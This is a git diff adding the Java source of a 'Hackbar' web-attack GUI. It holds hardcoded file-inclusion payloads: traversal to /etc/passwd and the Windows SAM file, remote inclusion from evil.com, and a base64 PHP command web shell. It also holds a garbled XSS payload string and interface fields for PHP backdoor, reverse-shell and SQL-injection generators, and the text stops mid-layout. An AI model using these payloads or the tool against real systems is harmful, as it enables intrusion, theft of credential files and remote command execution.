diff --git a/README.md b/README.md index 6a0e217..9e4eac8 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,10 @@ # Hackbar Java Version +Written in Netbeans and you can download project file in release tab. + +## How to use +Just download multiweb.jar file. + ## Encoding Features * url encode, decode @@ -96,4 +101,3 @@ ![GitHub Logo](/images/payload.png) -If you want to view source code, download in release tab then open with netbean. diff --git a/sourcecode/Encode.java b/sourcecode/Encode.java new file mode 100644 index 0000000..3e125ef --- /dev/null +++ b/sourcecode/Encode.java @@ -0,0 +1,226 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package multiweb; + +import java.io.UnsupportedEncodingException; +import java.net.URLDecoder; +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.Arrays; +import java.math.BigInteger; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +/** + * + * @author kyawmt + */ +public class Encode { + public static String urlencodeValue(String value) { + try { + return URLEncoder.encode(value, StandardCharsets.UTF_8.toString()); + } catch (UnsupportedEncodingException ex) { + throw new RuntimeException(ex.getCause()); + } + } + public static String urldecodeValue(String value) { + try { + return URLDecoder.decode(value, StandardCharsets.UTF_8.toString()); + } catch (UnsupportedEncodingException ex) { + throw new RuntimeException(ex.getCause()); + } + } + public static String base64encodeValue(String value) { + try { + Base64.Encoder encoder = Base64.getEncoder(); + return encoder.encodeToString(value.getBytes()); + } catch (Exception ex) { + throw new RuntimeException(ex.getCause()); + } + } + public static String base64decodeValue(String value) { + try { + Base64.Decoder decoder = Base64.getDecoder(); + byte[] bytes = decoder.decode(value); + String decodedString = new String(bytes); + return decodedString; + } catch (Exception ex) { + throw new RuntimeException(ex.getCause()); + } + } + public static String hexencodeValue(String value) { + try { + String hexencodeValue = ""; + char[] stringToCharArray = value.toCharArray(); + for (char output : stringToCharArray) { + hexencodeValue += Integer.toHexString((int) output); + + } + return hexencodeValue; + } catch (Exception ex) { + throw new RuntimeException(ex.getCause()); + } + } + public static String hexdecodeValue(String value) { + try { + StringBuilder sb = new StringBuilder(); + StringBuilder temp = new StringBuilder(); + + //49204c6f7665204a617661 split into two characters 49, 20, 4c... + for( int i=0; i= 'a' && c <= 'm') c += 13; + else if (c >= 'A' && c <= 'M') c += 13; + else if (c >= 'n' && c <= 'z') c -= 13; + else if (c >= 'N' && c <= 'Z') c -= 13; + sb.append(c); + } + return sb.toString(); + } + public static String rot13encodeValue(String value) { + try { + // getInstance() method is called with algorithm SHA-1 + return rot13(value); + } + + // For specifying wrong message digest algorithms + catch (Exception e) { + throw new RuntimeException(e); + } + } +} diff --git a/sourcecode/Multiweb.java b/sourcecode/Multiweb.java new file mode 100644 index 0000000..1693f04 --- /dev/null +++ b/sourcecode/Multiweb.java @@ -0,0 +1,23 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package multiweb; + +/** + * + * @author kyawmt + */ +public class Multiweb { + + /** + * @param args the command line arguments + */ + public static void main(String[] args) { + multiwebForm webform = new multiwebForm(); + webform.setVisible(true); + // TODO code application logic here + } + +} diff --git a/sourcecode/lfi.java b/sourcecode/lfi.java new file mode 100644 index 0000000..fdfc66b --- /dev/null +++ b/sourcecode/lfi.java @@ -0,0 +1,124 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package multiweb; + +import java.io.UnsupportedEncodingException; +import java.net.URL; +import java.net.URLDecoder; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.regex.Pattern; +import org.omg.CORBA.NameValuePair; + +/** + * + * @author kyawmt + */ +public class lfi { +// public static Map getQueryMap(String query) +//{ +// String[] params = query.split("&"); +// Map map = new HashMap(); +// for (String param : params) +// { +// String name = param.split("=")[0]; +// String value = param.split("=")[1]; +// map.put(name, value); +// } +// return map; +//} +public static Map splitQuery(URL url, String param, int option) throws UnsupportedEncodingException { + + Map query_pairs = new LinkedHashMap(); + String[] windows = {"../../../../../../WINDOWS/repair/sam","../../../../../../WINDOWS/repair/system"}; + String[] absoluteurl; + String parameter = ""; + String query = url.getQuery(); + String urltostring; + urltostring = url.toString(); + absoluteurl = urltostring.split("\\?"); + String[] pairs = query.split("&"); + for (String pair : pairs) { + int idx = pair.indexOf("="); + query_pairs.put(URLDecoder.decode(pair.substring(0, idx), "UTF-8"), URLDecoder.decode(pair.substring(idx + 1), "UTF-8")); + } + if(query_pairs.containsKey(param)){ + if(option == 0) + query_pairs.put(param, windows[0]); + + } + if(option == 1){ + query_pairs.put(param, windows[1]); + } + System.out.println(query_pairs); + Set keys = query_pairs.keySet(); + parameter += absoluteurl[0]+"?"; + for(String k:keys){ + parameter += k+"="+query_pairs.get(k)+"&"; +// System.out.println(absoluteurl[0]+"?"+k+"="+query_pairs.get(k)+"&"); + } + LinkedHashMap lhm = new LinkedHashMap(); + String lfioutput = parameter.substring(0, parameter.length() - 1); + lhm.put("url", lfioutput); + return lhm; +} + +public static Map linuxsplitQuery(URL url, String param, int option) throws UnsupportedEncodingException { + + Map query_pairs = new LinkedHashMap(); + String[] windows = {"../../../etc/passwd","../../../etc/passwd%00", "%252e%252e%252fetc%252fpasswd", "%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd", "....//....//etc/passwd","..///////..////..//////etc/passwd", "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd", "http://evil.com/shell.txt", "http://evil.com/shell.txt%00", "http:%252f%252fevil.com%252fshell.txt", "\\\\10.0.0.1\\share\\shell.php","pHp://FilTer/convert.base64-encode/resource=index.php", "zip://shell.jpg%23payload.php", "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=", "expect://id"}; + String[] absoluteurl; + String parameter = ""; + String query = url.getQuery(); + String urltostring; + urltostring = url.toString(); + absoluteurl = urltostring.split("\\?"); + String[] pairs = query.split("&"); + for (String pair : pairs) { + int idx = pair.indexOf("="); + query_pairs.put(URLDecoder.decode(pair.substring(0, idx), "UTF-8"), URLDecoder.decode(pair.substring(idx + 1), "UTF-8")); + } + if(query_pairs.containsKey(param)){ + switch(option){ + case 0: query_pairs.put(param, windows[0]);break; + case 1: query_pairs.put(param, windows[1]);break; + case 2: query_pairs.put(param, windows[2]);break; + case 3: query_pairs.put(param, windows[3]);break; + case 4: query_pairs.put(param, windows[4]);break; + case 5: query_pairs.put(param, windows[5]);break; + case 6: query_pairs.put(param, windows[6]);break; + case 7: query_pairs.put(param, windows[7]);break; + case 8: query_pairs.put(param, windows[8]);break; + case 9: query_pairs.put(param, windows[9]);break; + case 10: query_pairs.put(param, windows[10]);break; + case 11: query_pairs.put(param, windows[11]);break; + case 12: query_pairs.put(param, windows[12]);break; + case 13: query_pairs.put(param, windows[13]);break; + case 14: query_pairs.put(param, windows[14]);break; + } +// if(option == 0) +// query_pairs.put(param, windows[0]); +// if(option == 1) +// query_pairs.put(param, windows[1]); + + } + System.out.println(query_pairs); + Set keys = query_pairs.keySet(); + parameter += absoluteurl[0]+"?"; + for(String k:keys){ + parameter += k+"="+query_pairs.get(k)+"&"; +// System.out.println(absoluteurl[0]+"?"+k+"="+query_pairs.get(k)+"&"); + } + LinkedHashMap lhm = new LinkedHashMap(); + String lfioutput = parameter.substring(0, parameter.length() - 1); + lhm.put("url", lfioutput); + return lhm; +} +} diff --git a/sourcecode/multiwebForm.java b/sourcecode/multiwebForm.java new file mode 100644 index 0000000..50c5331 --- /dev/null +++ b/sourcecode/multiwebForm.java @@ -0,0 +1,4543 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package multiweb; +import java.net.URLEncoder; +import java.net.URLDecoder; +import java.net.URL; +import java.nio.charset.StandardCharsets; +import java.io.UnsupportedEncodingException; +import java.net.MalformedURLException; +import java.util.Map; +import java.util.logging.Level; +import java.util.logging.Logger; +/** + * + * @author kyawmt + */ +public class multiwebForm extends javax.swing.JFrame { + + /** + * Creates new form multiwebForm + */ + public multiwebForm() { + initComponents(); + + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + + // + private void initComponents() { + + buttonGroup1 = new javax.swing.ButtonGroup(); + buttonGroup2 = new javax.swing.ButtonGroup(); + buttonGroup3 = new javax.swing.ButtonGroup(); + buttonGroup4 = new javax.swing.ButtonGroup(); + buttonGroup5 = new javax.swing.ButtonGroup(); + jPanel2 = new javax.swing.JPanel(); + jScrollPane14 = new javax.swing.JScrollPane(); + jTextArea6 = new javax.swing.JTextArea(); + jTabbedPane1 = new javax.swing.JTabbedPane(); + encodingPanel = new javax.swing.JPanel(); + encodePanel = new javax.swing.JTabbedPane(); + url = new javax.swing.JPanel(); + jPanel13 = new javax.swing.JPanel(); + jPanel1 = new javax.swing.JPanel(); + urlencode = new javax.swing.JButton(); + urldecode = new javax.swing.JButton(); + jPanel25 = new javax.swing.JPanel(); + jLabel4 = new javax.swing.JLabel(); + urlinput = new javax.swing.JTextField(); + jLabel5 = new javax.swing.JLabel(); + jScrollPane2 = new javax.swing.JScrollPane(); + urloutput = new javax.swing.JTextArea(); + base64 = new javax.swing.JPanel(); + jPanel17 = new javax.swing.JPanel(); + jPanel9 = new javax.swing.JPanel(); + base64encode = new javax.swing.JButton(); + base64decode = new javax.swing.JButton(); + jPanel54 = new javax.swing.JPanel(); + jLabel12 = new javax.swing.JLabel(); + base64input = new javax.swing.JTextField(); + jLabel13 = new javax.swing.JLabel(); + jScrollPane6 = new javax.swing.JScrollPane(); + base64output = new javax.swing.JTextArea(); + hex = new javax.swing.JPanel(); + jPanel18 = new javax.swing.JPanel(); + jPanel10 = new javax.swing.JPanel(); + hexencode = new javax.swing.JButton(); + hexdecode = new javax.swing.JButton(); + jPanel33 = new javax.swing.JPanel(); + jLabel6 = new javax.swing.JLabel(); + hexinput = new javax.swing.JTextField(); + jLabel7 = new javax.swing.JLabel(); + jScrollPane3 = new javax.swing.JScrollPane(); + hexoutput = new javax.swing.JTextArea(); + binary = new javax.swing.JPanel(); + jPanel14 = new javax.swing.JPanel(); + jPanel11 = new javax.swing.JPanel(); + binaryencode = new javax.swing.JButton(); + binarydecode = new javax.swing.JButton(); + jPanel29 = new javax.swing.JPanel(); + jLabel14 = new javax.swing.JLabel(); + binaryinput = new javax.swing.JTextField(); + jLabel15 = new javax.swing.JLabel(); + jScrollPane7 = new javax.swing.JScrollPane(); + binaryoutput = new javax.swing.JTextArea(); + encryptionPanel = new javax.swing.JPanel(); + encryptionPanel2 = new javax.swing.JTabbedPane(); + md5 = new javax.swing.JPanel(); + jPanel15 = new javax.swing.JPanel(); + jPanel12 = new javax.swing.JPanel(); + md5encode = new javax.swing.JButton(); + jPanel30 = new javax.swing.JPanel(); + jLabel10 = new javax.swing.JLabel(); + md5input = new javax.swing.JTextField(); + jLabel11 = new javax.swing.JLabel(); + jScrollPane5 = new javax.swing.JScrollPane(); + md5output = new javax.swing.JTextArea(); + sha1 = new javax.swing.JPanel(); + jPanel16 = new javax.swing.JPanel(); + jPanel19 = new javax.swing.JPanel(); + sha1encrypt = new javax.swing.JButton(); + jPanel31 = new javax.swing.JPanel(); + jLabel16 = new javax.swing.JLabel(); + sha1input = new javax.swing.JTextField(); + jLabel17 = new javax.swing.JLabel(); + jScrollPane8 = new javax.swing.JScrollPane(); + sha1output = new javax.swing.JTextArea(); + sha256 = new javax.swing.JPanel(); + jPanel20 = new javax.swing.JPanel(); + jPanel21 = new javax.swing.JPanel(); + sha256encrypt = new javax.swing.JButton(); + jPanel32 = new javax.swing.JPanel(); + jLabel18 = new javax.swing.JLabel(); + sha256input = new javax.swing.JTextField(); + jLabel19 = new javax.swing.JLabel(); + jScrollPane9 = new javax.swing.JScrollPane(); + sha256output = new javax.swing.JTextArea(); + rot13 = new javax.swing.JPanel(); + jPanel22 = new javax.swing.JPanel(); + jPanel23 = new javax.swing.JPanel(); + rot13encrypt = new javax.swing.JButton(); + jPanel34 = new javax.swing.JPanel(); + jLabel20 = new javax.swing.JLabel(); + rot13input = new javax.swing.JTextField(); + jLabel21 = new javax.swing.JLabel(); + jScrollPane10 = new javax.swing.JScrollPane(); + rot13output = new javax.swing.JTextArea(); + xssPanel = new javax.swing.JPanel(); + datagrapper = new javax.swing.JTabbedPane(); + url1 = new javax.swing.JPanel(); + jPanel43 = new javax.swing.JPanel(); + jPanel44 = new javax.swing.JPanel(); + jLabel1 = new javax.swing.JLabel(); + jLabel3 = new javax.swing.JLabel(); + jScrollPane1 = new javax.swing.JScrollPane(); + jTextArea1 = new javax.swing.JTextArea(); + jLabel8 = new javax.swing.JLabel(); + jScrollPane4 = new javax.swing.JScrollPane(); + jTextArea2 = new javax.swing.JTextArea(); + url2 = new javax.swing.JPanel(); + jPanel53 = new javax.swing.JPanel(); + jPanel56 = new javax.swing.JPanel(); + jLabel2 = new javax.swing.JLabel(); + jLabel22 = new javax.swing.JLabel(); + jScrollPane12 = new javax.swing.JScrollPane(); + jTextArea4 = new javax.swing.JTextArea(); + url3 = new javax.swing.JPanel(); + jPanel55 = new javax.swing.JPanel(); + jPanel57 = new javax.swing.JPanel(); + jLabel9 = new javax.swing.JLabel(); + jLabel23 = new javax.swing.JLabel(); + jScrollPane13 = new javax.swing.JScrollPane(); + jTextArea5 = new javax.swing.JTextArea(); + url5 = new javax.swing.JPanel(); + jPanel60 = new javax.swing.JPanel(); + jPanel61 = new javax.swing.JPanel(); + jLabel24 = new javax.swing.JLabel(); + jScrollPane15 = new javax.swing.JScrollPane(); + jTextArea7 = new javax.swing.JTextArea(); + url6 = new javax.swing.JPanel(); + jPanel62 = new javax.swing.JPanel(); + jPanel63 = new javax.swing.JPanel(); + jLabel25 = new javax.swing.JLabel(); + jScrollPane16 = new javax.swing.JScrollPane(); + jTextArea8 = new javax.swing.JTextArea(); + url7 = new javax.swing.JPanel(); + jPanel64 = new javax.swing.JPanel(); + jPanel65 = new javax.swing.JPanel(); + jLabel26 = new javax.swing.JLabel(); + jScrollPane17 = new javax.swing.JScrollPane(); + jTextArea9 = new javax.swing.JTextArea(); + jLabel27 = new javax.swing.JLabel(); + jScrollPane18 = new javax.swing.JScrollPane(); + jTextArea10 = new javax.swing.JTextArea(); + jLabel28 = new javax.swing.JLabel(); + jScrollPane19 = new javax.swing.JScrollPane(); + jTextArea11 = new javax.swing.JTextArea(); + url8 = new javax.swing.JPanel(); + jPanel66 = new javax.swing.JPanel(); + jPanel67 = new javax.swing.JPanel(); + jLabel29 = new javax.swing.JLabel(); + jScrollPane20 = new javax.swing.JScrollPane(); + jTextArea12 = new javax.swing.JTextArea(); + url9 = new javax.swing.JPanel(); + jPanel68 = new javax.swing.JPanel(); + jPanel69 = new javax.swing.JPanel(); + jLabel30 = new javax.swing.JLabel(); + jScrollPane21 = new javax.swing.JScrollPane(); + jTextArea13 = new javax.swing.JTextArea(); + url10 = new javax.swing.JPanel(); + jPanel70 = new javax.swing.JPanel(); + jPanel71 = new javax.swing.JPanel(); + jLabel31 = new javax.swing.JLabel(); + jScrollPane22 = new javax.swing.JScrollPane(); + jTextArea14 = new javax.swing.JTextArea(); + url11 = new javax.swing.JPanel(); + jPanel72 = new javax.swing.JPanel(); + jPanel73 = new javax.swing.JPanel(); + jLabel32 = new javax.swing.JLabel(); + jScrollPane23 = new javax.swing.JScrollPane(); + jTextArea15 = new javax.swing.JTextArea(); + url12 = new javax.swing.JPanel(); + jPanel74 = new javax.swing.JPanel(); + jPanel75 = new javax.swing.JPanel(); + jLabel33 = new javax.swing.JLabel(); + jScrollPane24 = new javax.swing.JScrollPane(); + jTextArea16 = new javax.swing.JTextArea(); + url13 = new javax.swing.JPanel(); + jPanel76 = new javax.swing.JPanel(); + jPanel77 = new javax.swing.JPanel(); + jLabel34 = new javax.swing.JLabel(); + jScrollPane25 = new javax.swing.JScrollPane(); + jTextArea17 = new javax.swing.JTextArea(); + url14 = new javax.swing.JPanel(); + jPanel78 = new javax.swing.JPanel(); + jScrollPane11 = new javax.swing.JScrollPane(); + jPanel79 = new javax.swing.JPanel(); + jLabel35 = new javax.swing.JLabel(); + jScrollPane26 = new javax.swing.JScrollPane(); + jTextArea18 = new javax.swing.JTextArea(); + jLabel36 = new javax.swing.JLabel(); + jTextArea19 = new javax.swing.JTextArea(); + jLabel37 = new javax.swing.JLabel(); + jTextArea20 = new javax.swing.JTextArea(); + jLabel38 = new javax.swing.JLabel(); + jTextArea21 = new javax.swing.JTextArea(); + jLabel39 = new javax.swing.JLabel(); + jScrollPane27 = new javax.swing.JScrollPane(); + jTextArea22 = new javax.swing.JTextArea(); + jLabel40 = new javax.swing.JLabel(); + jTextArea23 = new javax.swing.JTextArea(); + jLabel41 = new javax.swing.JLabel(); + jScrollPane28 = new javax.swing.JScrollPane(); + jTextArea24 = new javax.swing.JTextArea(); + sqliPanel = new javax.swing.JPanel(); + datagrapper1 = new javax.swing.JTabbedPane(); + msqsqlchar = new javax.swing.JPanel(); + jPanel45 = new javax.swing.JPanel(); + jPanel46 = new javax.swing.JPanel(); + mysqlchar = new javax.swing.JButton(); + jPanel47 = new javax.swing.JPanel(); + jLabel52 = new javax.swing.JLabel(); + mysqlcharinput = new javax.swing.JTextField(); + jLabel53 = new javax.swing.JLabel(); + jScrollPane36 = new javax.swing.JScrollPane(); + mysqlcharoutput = new javax.swing.JTextArea(); + infocolumn = new javax.swing.JPanel(); + jPanel48 = new javax.swing.JPanel(); + jPanel49 = new javax.swing.JPanel(); + mysqlchar1 = new javax.swing.JButton(); + jPanel50 = new javax.swing.JPanel(); + jLabel55 = new javax.swing.JLabel(); + jScrollPane37 = new javax.swing.JScrollPane(); + mysqlcharoutput1 = new javax.swing.JTextArea(); + mssqlcharPanel = new javax.swing.JPanel(); + jPanel51 = new javax.swing.JPanel(); + jPanel52 = new javax.swing.JPanel(); + mssqlchar = new javax.swing.JButton(); + jPanel58 = new javax.swing.JPanel(); + jLabel54 = new javax.swing.JLabel(); + mssqlcharinput = new javax.swing.JTextField(); + jLabel56 = new javax.swing.JLabel(); + jScrollPane38 = new javax.swing.JScrollPane(); + mssqlcharoutput = new javax.swing.JTextArea(); + oraclecharpanel = new javax.swing.JPanel(); + jPanel59 = new javax.swing.JPanel(); + jPanel80 = new javax.swing.JPanel(); + oraclechar = new javax.swing.JButton(); + jPanel81 = new javax.swing.JPanel(); + jLabel57 = new javax.swing.JLabel(); + oracleinput = new javax.swing.JTextField(); + jLabel58 = new javax.swing.JLabel(); + jScrollPane39 = new javax.swing.JScrollPane(); + oracleoutput = new javax.swing.JTextArea(); + unionselectPanel = new javax.swing.JPanel(); + jPanel82 = new javax.swing.JPanel(); + jPanel83 = new javax.swing.JPanel(); + union = new javax.swing.JButton(); + jPanel84 = new javax.swing.JPanel(); + jLabel59 = new javax.swing.JLabel(); + unioninput = new javax.swing.JTextField(); + jLabel60 = new javax.swing.JLabel(); + jScrollPane40 = new javax.swing.JScrollPane(); + unionoutput = new javax.swing.JTextArea(); + spacetoinlinePanel = new javax.swing.JPanel(); + jPanel85 = new javax.swing.JPanel(); + jPanel86 = new javax.swing.JPanel(); + spacetoinline = new javax.swing.JButton(); + jPanel87 = new javax.swing.JPanel(); + jLabel61 = new javax.swing.JLabel(); + spacetoinlineinput = new javax.swing.JTextField(); + jLabel62 = new javax.swing.JLabel(); + jScrollPane41 = new javax.swing.JScrollPane(); + spacetoinlineoutput = new javax.swing.JTextArea(); + mysqlcheetsheetPanle = new javax.swing.JPanel(); + jPanel96 = new javax.swing.JPanel(); + jPanel97 = new javax.swing.JPanel(); + jScrollPane30 = new javax.swing.JScrollPane(); + jTable1 = new javax.swing.JTable(); + mssqlcheatsheetpanel = new javax.swing.JPanel(); + jPanel98 = new javax.swing.JPanel(); + jPanel99 = new javax.swing.JPanel(); + jScrollPane31 = new javax.swing.JScrollPane(); + jTable2 = new javax.swing.JTable(); + lfiPanel = new javax.swing.JPanel(); + datagrapper2 = new javax.swing.JTabbedPane(); + msqsqlchar2 = new javax.swing.JPanel(); + jPanel91 = new javax.swing.JPanel(); + jPanel92 = new javax.swing.JPanel(); + windowslfi = new javax.swing.JButton(); + jPanel93 = new javax.swing.JPanel(); + jLabel65 = new javax.swing.JLabel(); + windowsinputpara = new javax.swing.JTextField(); + jLabel66 = new javax.swing.JLabel(); + jScrollPane43 = new javax.swing.JScrollPane(); + windowsoutput = new javax.swing.JTextArea(); + windowsinputurl = new javax.swing.JTextField(); + jLabel68 = new javax.swing.JLabel(); + jComboBox1 = new javax.swing.JComboBox<>(); + msqsqlchar3 = new javax.swing.JPanel(); + jPanel101 = new javax.swing.JPanel(); + jPanel102 = new javax.swing.JPanel(); + linuxlfi = new javax.swing.JButton(); + jPanel103 = new javax.swing.JPanel(); + jLabel69 = new javax.swing.JLabel(); + linuxinputpara = new javax.swing.JTextField(); + jLabel70 = new javax.swing.JLabel(); + jScrollPane45 = new javax.swing.JScrollPane(); + linuxlfioutput = new javax.swing.JTextArea(); + linuxinputurl = new javax.swing.JTextField(); + jLabel71 = new javax.swing.JLabel(); + linuxcombo = new javax.swing.JComboBox<>(); + payloadPanel = new javax.swing.JPanel(); + payloadPanelchild = new javax.swing.JTabbedPane(); + md6 = new javax.swing.JPanel(); + jPanel24 = new javax.swing.JPanel(); + jPanel26 = new javax.swing.JPanel(); + phpbackdoor = new javax.swing.JButton(); + jPanel35 = new javax.swing.JPanel(); + jLabel42 = new javax.swing.JLabel(); + phpbackdoorinput = new javax.swing.JTextField(); + jLabel43 = new javax.swing.JLabel(); + jScrollPane32 = new javax.swing.JScrollPane(); + phpbackdooroutput = new javax.swing.JTextArea(); + sha2 = new javax.swing.JPanel(); + jPanel27 = new javax.swing.JPanel(); + jPanel28 = new javax.swing.JPanel(); + phpreverseshell = new javax.swing.JButton(); + jPanel36 = new javax.swing.JPanel(); + jLabel44 = new javax.swing.JLabel(); + phpreverseshellport = new javax.swing.JTextField(); + jLabel45 = new javax.swing.JLabel(); + jScrollPane33 = new javax.swing.JScrollPane(); + phpreverseshelloutput = new javax.swing.JTextArea(); + phpreverseshellip = new javax.swing.JTextField(); + jLabel50 = new javax.swing.JLabel(); + sha257 = new javax.swing.JPanel(); + jPanel37 = new javax.swing.JPanel(); + jPanel38 = new javax.swing.JPanel(); + phprfi = new javax.swing.JButton(); + jPanel39 = new javax.swing.JPanel(); + jLabel46 = new javax.swing.JLabel(); + phprfiinput = new javax.swing.JTextField(); + jLabel47 = new javax.swing.JLabel(); + jScrollPane34 = new javax.swing.JScrollPane(); + phprfioutput = new javax.swing.JTextArea(); + rot14 = new javax.swing.JPanel(); + jPanel40 = new javax.swing.JPanel(); + jPanel41 = new javax.swing.JPanel(); + nodejs = new javax.swing.JButton(); + jPanel42 = new javax.swing.JPanel(); + jLabel48 = new javax.swing.JLabel(); + nodejsinputport = new javax.swing.JTextField(); + jLabel49 = new javax.swing.JLabel(); + jScrollPane35 = new javax.swing.JScrollPane(); + nodejsoutput = new javax.swing.JTextArea(); + nodejsinputip = new javax.swing.JTextField(); + jLabel51 = new javax.swing.JLabel(); + + javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2); + jPanel2.setLayout(jPanel2Layout); + jPanel2Layout.setHorizontalGroup( + jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGap(0, 100, Short.MAX_VALUE) + ); + jPanel2Layout.setVerticalGroup( + jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGap(0, 100, Short.MAX_VALUE) + ); + + jTextArea6.setEditable(false); + jTextArea6.setColumns(20); + jTextArea6.setFont(new java.awt.Font("Segoe UI Symbol", 0, 13)); // NOI18N + jTextArea6.setLineWrap(true); + jTextArea6.setRows(5); + jTextArea6.setText("Basic payload\n\nipt>alert('XSS')ipt>\n\">\n\">\n\nImg payload\n\n\n\nxss\n\">\n\">\n\nSvg payload\n\n\n\n\n\">\n\">MOVE HERE\n
MOVE HERE
\n
MOVE HERE
\n
MOVE HERE
\n
MOVE HERE
\n
MOVE HERE
\n
MOVE HERE
"); + jTextArea6.setWrapStyleWord(true); + jScrollPane14.setViewportView(jTextArea6); + + setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); + + jTabbedPane1.setBackground(new java.awt.Color(2, 71, 105)); + jTabbedPane1.setForeground(new java.awt.Color(255, 255, 255)); + jTabbedPane1.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jTabbedPane1.addChangeListener(new javax.swing.event.ChangeListener() { + public void stateChanged(javax.swing.event.ChangeEvent evt) { + jTabbedPane1StateChanged(evt); + } + }); + + encodePanel.setBackground(new java.awt.Color(2, 71, 105)); + encodePanel.setForeground(new java.awt.Color(255, 255, 255)); + encodePanel.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + + jPanel13.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel1.setBackground(new java.awt.Color(2, 71, 105)); + jPanel1.setForeground(new java.awt.Color(255, 255, 255)); + jPanel1.setLayout(new java.awt.GridLayout(7, 1)); + + urlencode.setBackground(new java.awt.Color(2, 71, 105)); + urlencode.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + urlencode.setForeground(new java.awt.Color(255, 255, 255)); + urlencode.setText("URL Encode"); + urlencode.setPreferredSize(new java.awt.Dimension(150, 100)); + urlencode.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + urlencodeActionPerformed(evt); + } + }); + jPanel1.add(urlencode); + + urldecode.setBackground(new java.awt.Color(2, 71, 105)); + urldecode.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + urldecode.setForeground(new java.awt.Color(255, 255, 255)); + urldecode.setText("URL Decode"); + urldecode.setPreferredSize(new java.awt.Dimension(150, 100)); + urldecode.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + urldecodeActionPerformed(evt); + } + }); + jPanel1.add(urldecode); + + jPanel25.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel4.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel4.setForeground(new java.awt.Color(255, 255, 255)); + jLabel4.setText("Input"); + + urlinput.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + urlinputActionPerformed(evt); + } + }); + + jLabel5.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel5.setForeground(new java.awt.Color(255, 255, 255)); + jLabel5.setText("Output"); + + urloutput.setColumns(20); + urloutput.setLineWrap(true); + urloutput.setRows(5); + urloutput.setAutoscrolls(false); + jScrollPane2.setViewportView(urloutput); + + javax.swing.GroupLayout jPanel25Layout = new javax.swing.GroupLayout(jPanel25); + jPanel25.setLayout(jPanel25Layout); + jPanel25Layout.setHorizontalGroup( + jPanel25Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel25Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel25Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel25Layout.createSequentialGroup() + .addGroup(jPanel25Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel4) + .addComponent(jLabel5)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(urlinput) + .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel25Layout.setVerticalGroup( + jPanel25Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel25Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel4) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(urlinput, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel5) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel13Layout = new javax.swing.GroupLayout(jPanel13); + jPanel13.setLayout(jPanel13Layout); + jPanel13Layout.setHorizontalGroup( + jPanel13Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel13Layout.createSequentialGroup() + .addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel25, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel13Layout.setVerticalGroup( + jPanel13Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + 